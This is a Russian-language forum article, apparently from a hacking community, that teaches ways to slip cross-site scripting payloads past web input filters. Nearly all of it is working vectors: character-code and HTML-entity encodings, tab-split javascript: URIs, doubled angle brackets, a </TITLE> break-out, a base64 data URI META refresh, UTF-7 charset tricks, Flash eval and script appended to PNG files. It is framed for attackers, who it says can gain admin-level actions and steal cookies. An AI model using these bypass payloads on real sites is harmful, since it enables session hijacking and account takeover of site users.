[XSS] Приёмы обхода фильтров
[XSS] Приёмы обхода фильтров.
[Инпут]
Здрасте. Данное писание посвящено обзору некоторых из способов обхода xss-фильтров. Уровень сложности материала ориентирован, в среднем, на пользователя имеющего понятие об XSS-атаках, но в то же время имеються доступные краткие объяснения для менее искушенного в этом плане читателя. Это моя первая статья, которая в силу моей неопытности в писательском деле, может иметь некоторые изъяны, так что держите свои помидорные пулеметы в боевой готовности.
Так же хотелось бы напомнить, что сами XSS атаки имеют намного больший потенциал нежели кража cookies. С помощью XSS можно выполнять теже действия, что и администратор сайта, главное знать как правильно реализовать атаку. Но перед тем, как что-то делать, нужно убедиться в надежности, а в данном случае, в надежности xss-векторов перед системами фильтрации. Краткое содержание данного писания:
[1] - Спасение кавычек.
[2] - Использование атрибута.
[3] - Добавление угловой скобки.
[4] - Использование тега </TITLE>.
[5] - Шифрование Base64.
[6] - Использование Flash.
[7] - Кодировка UTF-7.
[8] - Мультимедиа контейнеры.
[9] - Озэръ.
[1]-[Спасение кавычек]
Часто встречается ситуация когда фильтр экранирует либо удаляет двойную (") и одинарную (') кавычки. В такой ситуации следует воспользоваться String.fromCharCode(), или unescape(), которые переводят все символы в цифровой код. Разница между ними, лишь, в использовании систем исчисления: String.fromCharCode() использует DEC-значения символов, а unescape() использует HEX-значения.
Пример:
Код:
alert(String.fromCharCode(120,97,107,110,101,116,46,114,117))
, где цифры это десятичные коды(DEC) символов.
Пример:
Код:
alert(unescape(/%78%61%6b%6e%65%74%2e%72%75/.source))
, где "/%78%61%6b%6e%65%74%2e%72%75/" - это шеснадцатиричные коды (HEX) символов.
Ещё одним методом, является использование, в качестве альтернативы кавычкам, конструкции / /.source, но можно и без использования .source
Пример:
Код:
<SCRIPT>alert(/message/.source)</SCRIPT>
Пример:
Код:
<SCRIPT>alert(/message/)</SCRIPT>
[2]-[Использование атрибута]
Некоторые из атрибутов различных тегов имеют интересные свойства, благодаря которым вы можете использовать кодирование содержимого XSS-вектора. Кодировки, которые можно использовать, такие как, HTML Entities DEC Encode(имеет вид: &#XXX; ), Long HTML Entities DEC Encode(имеет вид: &#(0000)XXX), HTML Entities HEX(имеет вид: &#xXX),(X-цифра). LongHTMLEntities отличается от HTML Entities тем, что не использует точку с запятой для разделения значений символов, и использует дополнительные четыре цифры слева, что даёт возможность обойти фильтрацию &#XXX;-подобных значений, т.к. будет задействовано 7 цифр вместо 3-х.
Пример (javascript:alert('xaknet.ru')) в HTML Entities DEC:
Знак "!" перед применением удалить
Код:
<IMG SRC=&!#106;&!#97;&!#118;&!#97;&!#115;&!#99;&!#114;&!#105;&!#112;&!#116;&!#58;&!#97;&!#108;&!#101;&!#114;&!#116;&!#40;&!#39;&!#120;&!#97;&!#107;&!#110;&!#101;&!#116;&!#46;&!#114;&!#117;&!#39;&!#41;>
Пример (javascript:alert('xaknet.ru')) в Long HTML Entities DEC:
Знак "!" перед применением удалить
Код:
<IMG SRC=&!#0000106a&!#0000118&!#0000097&!#0000115&!#0000099&!#0000114&!#0000105&!#0000112&!#0000116&!#0000058&!#0000097&!#0000108&!#0000101&!#0000114&!#0000116&!#0000040&!#0000039&!#0000120&!#000097&!#0000107&!#0000110&!#0000101&!#0000116&!#0000046&!#0000114&!#0000117&!#0000039&!#0000041>
Пример (javascript:alert('xaknet.ru')) в HTML Entities HEX:
Знак "!" перед применением удалить
Код:
<IMG SRC=&!#x6A;&!#x61;&!#x76;&!#x61;&!#x73;&!#x63;&!#x72;&!#x69;&!#x70;&!#x74;&!#x3A;&!#x61;&!#x6C;&!#x65;&!#x72;&!#x74;&!#x28;&!#x27;&!#x78;&!#x61;&!#x6B;&!#x6E;&!#x65;&!#x74;&!#x2E;&!#x72;&!#x75;&!#x27;&!#x29;>
Использование атрибутов имеет такую особенность, благодаря которой можно использовать табуляцию, которая будет разделять вектор на части, и это даст вам ещё одну возможность обойти фильтрацию по названиям функций и методов JavaScript. Схожим методом является изменение регистра букв, но существенным недостатком данного способа является отсутствие возможности изменять регистр букв в названии метода.
Пример:
Код:
<IMG SRC="Ja va sc ri pt : al er t( 'me ssa ge' )">
- такая конструкция работает.
Пример:
Код:
<IMG SRC="JaVaScRiPt:aLeRt('message')">
- такая конструкция работать не будет из-за aLeRt(), вызвавшего ошибку.
Так же можно комбинированно использовать эти два способа, но главное соблюдать целостности HEX и DEC значений закодированных символов, т.е. их не стоит разрывать табуляцией, т.к. конструкция не будет работать.
Пример HTML Entities DEC:
Знак "!" перед применением удалить
Код:
<IMG SRC=""Ja &!#118; as c &!#114; i pt :a &!#108; ert &!#40; 'm e s s a g e' &!#41 ;">
Всех атрибутов в которых реализована такая возможность я не нашел, да и не искал, т.к. временами случаются приступы вселенской лени, но как мне кажется, это атрибуты, которые имеют характер указателя на объект, либо атрибуты тегов указывающих на объект (страница, рисунок, аплет, и т.д.).
[3]-[Добавление угловой скобки]
Данный способ позволяет обойти фильтр, проверяющий сразу на присутствие соответствия открывающих и закрывающих угловых скобок, после обнаружения, которых, считает все, что в них находиться тегом и вырезает, либо видоизменяет до состояния неработоспособности. Избежать вмешательства фильтра можно путём добавления перед открывающим тегом второй открывающей угловой скобки. Особенность данного способа является обязательное наличие знака комментария //, который ставиться перед закрывающим тегом, дабы сделать вид прокомментированной посторонней закрывающей скобки, что бы не нарушить синтаксис и не вызвать ошибку.
Пример:
Код:
<<SCRIPT>alert('message')//<</SCRIPT>
Пример:
Код:
<<IMG SRC=javascript:alert('message')//>
[4]-[Использование тега </TITLE>]
Так как тег <TITLE>, в большинстве случаев, находится в начале кода страницы, вы, путём добавления закрывающего </TITLE> можете добиться вырезания всего кода страницы между открывающим и закрывающим тегами TITLE, что может добавить шансы на срабатывание скрипта, который должен выполниться сразу после </TITLE>, если использовать данную конструкцию:
Код:
</TITLE><SCRIPT>alert("message");</SCRIPT>
- закрывает все, что находиться между <TITLE> страницы и векторным (вводимым вами) </TITLE>, после чего выполняет alert().
[5]-[Шифрование алгоритмом base64]
Также является хорошим способом, если фильтрация направлена на список названий тегов или JS-кода.
Пример:
Код:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">
PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4= - это зашифрованный вектор <script>alert(xaknet.ru)</script>.
[6]-[Использование Flash.]
В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода.
Пример:
Код:
a="get";
b="URL(\"";
c="javascript:";
d="alert('message');\")";
eval(a+b+c+d);
[7]-[Использование UTF-7]
Заключается данный способ в изменении кодировки символов xss-вектора на UTF-7. Это может сработать в тех случаях, когда в странице не указывается кодировка, и атакующий может заставить страницу испольвоть UTF-7, тем самым, обойти фильтрацию, изменив некоторые из символов UTF-8 на UTF-7.
Пример:
Код:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4-
В примере угловые кавычки представлены в кодировке UTF-7.
[8]-[Мультимедиа контейнеры]
Данный способ направлен на использование мультимедийных файлов (видео, картинки) в качестве "контейнеров" для xss-векторов. Осуществить данную атаку можно, создав текстовый файл, в который поместится вектор, и конвертировать этот файл в необходимый нам формат видео/изобр., после чего залить на сервер и обратиться к нему через браузер. Главной особенностью является обязательное использование тега <script></script>, т.к. другие теги не распознаються IE, при открытии видео и изображений. Существенным недостатком является и то, что эта ататка легко обнаруживается фильтрами по заголовкам мультимедиа файлов. Для обхода таких фильтраций, воспользуйтесь изображением в формате PNG, открыв её через текстовый редактор, и дописав в конец свой скрипт. Важной особенностью при этом является соблюдение небольшого размера файла. Способ с видео форматами, к сожалению, не нашел.
Пример проведения атаки через видео-файл(mov) by ErrNick -
Чтобы видеть ссылки, необходимо зарегистрироваться.
[9]-[Озэръ]
Тут я привёл некоторые из альтернативных вариантов проведения xss-атак:
"><img src="x:x" onerror="alert(0)"> - вызывается ошибка в атрибуте SRC=, из-за чего срабатывает alert(). x:x - это разные числа.
with(document)alert(cookie) - эквивалентен alert(document.cookie).
prompt() - эквивалентен alert().
Внимание: некоторые из представленных способов работоспособны не во всех браузерах.
[Оутпут]
Как видно, это не все возможные способы обхода фильтрации, но основные их обличия я попытался описать. Мне хотелось бы увидеть только здравую и адекватную критику с вашей стороны...
Зэ энд, товарищи! Спасибо за этеншен.
Большое cпасибо ErrNick'у за то, что прочел и дал свою оценку данному материалу, тем самым избавив меня от переживаний о качестве данного писания.
Источники информации использованой при написании:
-Крупицы знаний и доводов из моего мозга.
-The Cheat Sheet – Robert "RSnake" Hansen. Так же, в низу странички находятся кодировщики кода.
-Our Favorite XSS Filters/IDS and how to Attack Them - BlackHat 2009
-x3k.ru - онлайн-сервис, включающий в себя программы для кодирования/декодирования.